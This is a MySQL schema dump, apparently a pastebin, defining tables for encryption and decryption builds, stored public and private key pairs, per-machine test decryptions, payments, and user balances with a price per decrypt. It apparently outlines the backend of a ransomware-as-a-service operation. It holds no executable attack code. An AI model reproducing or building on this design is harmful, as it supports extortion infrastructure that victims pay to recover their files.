· 6 years ago · Dec 29, 2019, 06:14 PM
1
2SET NAMES utf8mb4;
3SET FOREIGN_KEY_CHECKS = 0;
4
5-- ----------------------------
6-- Table structure for admins
7-- ----------------------------
8DROP TABLE IF EXISTS `admins`;
9CREATE TABLE `admins` (
10 `id` int(11) NOT NULL AUTO_INCREMENT,
11 `admin` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
12 `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
13 PRIMARY KEY (`id`) USING BTREE
14) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;
15
16-- ----------------------------
17-- Table structure for decryption_builds
18-- ----------------------------
19DROP TABLE IF EXISTS `decryption_builds`;
20CREATE TABLE `decryption_builds` (
21 `id` int(255) NOT NULL AUTO_INCREMENT,
22 `key_pair_id` int(11) NULL DEFAULT NULL,
23 `decryption_build_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
24 `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
25 `nonce` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
26 `active` int(255) NULL DEFAULT NULL,
27 `time` int(11) NULL DEFAULT NULL,
28 `machine_key` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
29 PRIMARY KEY (`id`) USING BTREE,
30 INDEX `key_pair_id`(`key_pair_id`) USING BTREE,
31 CONSTRAINT `decryption_builds_ibfk_1` FOREIGN KEY (`key_pair_id`) REFERENCES `encryption_keys` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT
32) ENGINE = InnoDB AUTO_INCREMENT = 50 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;
33
34-- ----------------------------
35-- Table structure for encryption_builds
36-- ----------------------------
37DROP TABLE IF EXISTS `encryption_builds`;
38CREATE TABLE `encryption_builds` (
39 `id` int(11) NOT NULL AUTO_INCREMENT,
40 `user_id` int(11) NULL DEFAULT NULL,
41 `encryption_build_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
42 `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
43 `active` int(255) NULL DEFAULT NULL,
44 `time` int(11) NULL DEFAULT NULL,
45 `email1` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
46 `email2` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
47 PRIMARY KEY (`id`) USING BTREE
48) ENGINE = InnoDB AUTO_INCREMENT = 51 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;
49
50-- ----------------------------
51-- Table structure for encryption_keys
52-- ----------------------------
53DROP TABLE IF EXISTS `encryption_keys`;
54CREATE TABLE `encryption_keys` (
55 `id` int(11) NOT NULL AUTO_INCREMENT,
56 `build_id` int(11) NULL DEFAULT NULL,
57 `public_key` text CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL,
58 `private_key` text CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL,
59 PRIMARY KEY (`id`) USING BTREE,
60 INDEX `build_id`(`build_id`) USING BTREE,
61 CONSTRAINT `encryption_keys_ibfk_1` FOREIGN KEY (`build_id`) REFERENCES `encryption_builds` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT
62) ENGINE = InnoDB AUTO_INCREMENT = 5327 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;
63
64-- ----------------------------
65-- Table structure for payments
66-- ----------------------------
67DROP TABLE IF EXISTS `payments`;
68CREATE TABLE `payments` (
69 `id` int(11) NOT NULL AUTO_INCREMENT,
70 `user_id` int(11) NULL DEFAULT NULL,
71 `payment` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
72 `date` bigint(20) NULL DEFAULT NULL,
73 `txid` int(11) NULL DEFAULT NULL,
74 `confirmed` int(255) NULL DEFAULT NULL,
75 PRIMARY KEY (`id`) USING BTREE
76) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;
77
78-- ----------------------------
79-- Table structure for test_decryption_files
80-- ----------------------------
81DROP TABLE IF EXISTS `test_decryption_files`;
82CREATE TABLE `test_decryption_files` (
83 `id` int(11) NOT NULL AUTO_INCREMENT,
84 `test_decryption_id` int(11) NULL DEFAULT NULL,
85 `file` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
86 `decrypted_file` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
87 `status` int(255) NULL DEFAULT NULL,
88 PRIMARY KEY (`id`) USING BTREE,
89 INDEX `test_decryption_id`(`test_decryption_id`) USING BTREE,
90 CONSTRAINT `test_decryption_files_ibfk_1` FOREIGN KEY (`test_decryption_id`) REFERENCES `test_decryptions` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT
91) ENGINE = InnoDB AUTO_INCREMENT = 6 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;
92
93-- ----------------------------
94-- Table structure for test_decryptions
95-- ----------------------------
96DROP TABLE IF EXISTS `test_decryptions`;
97CREATE TABLE `test_decryptions` (
98 `id` int(11) NOT NULL AUTO_INCREMENT,
99 `build_id` int(255) NULL DEFAULT NULL,
100 `keynum` int(11) NULL DEFAULT NULL,
101 `machine_key` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
102 `file` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
103 `server_ip` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
104 `time` int(11) NULL DEFAULT NULL,
105 `completed` int(255) NULL DEFAULT NULL,
106 PRIMARY KEY (`id`) USING BTREE,
107 INDEX `build_id`(`build_id`) USING BTREE,
108 CONSTRAINT `test_decryptions_ibfk_1` FOREIGN KEY (`build_id`) REFERENCES `encryption_builds` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT
109) ENGINE = InnoDB AUTO_INCREMENT = 16 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;
110
111-- ----------------------------
112-- Table structure for users
113-- ----------------------------
114DROP TABLE IF EXISTS `users`;
115CREATE TABLE `users` (
116 `id` int(11) NOT NULL AUTO_INCREMENT,
117 `user` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
118 `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
119 `balance` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
120 `address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
121 `activated` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL,
122 `time` int(11) NULL DEFAULT NULL,
123 `price_per_decrypt` int(255) NULL DEFAULT 0,
124 PRIMARY KEY (`id`) USING BTREE
125) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;
126
127SET FOREIGN_KEY_CHECKS = 1;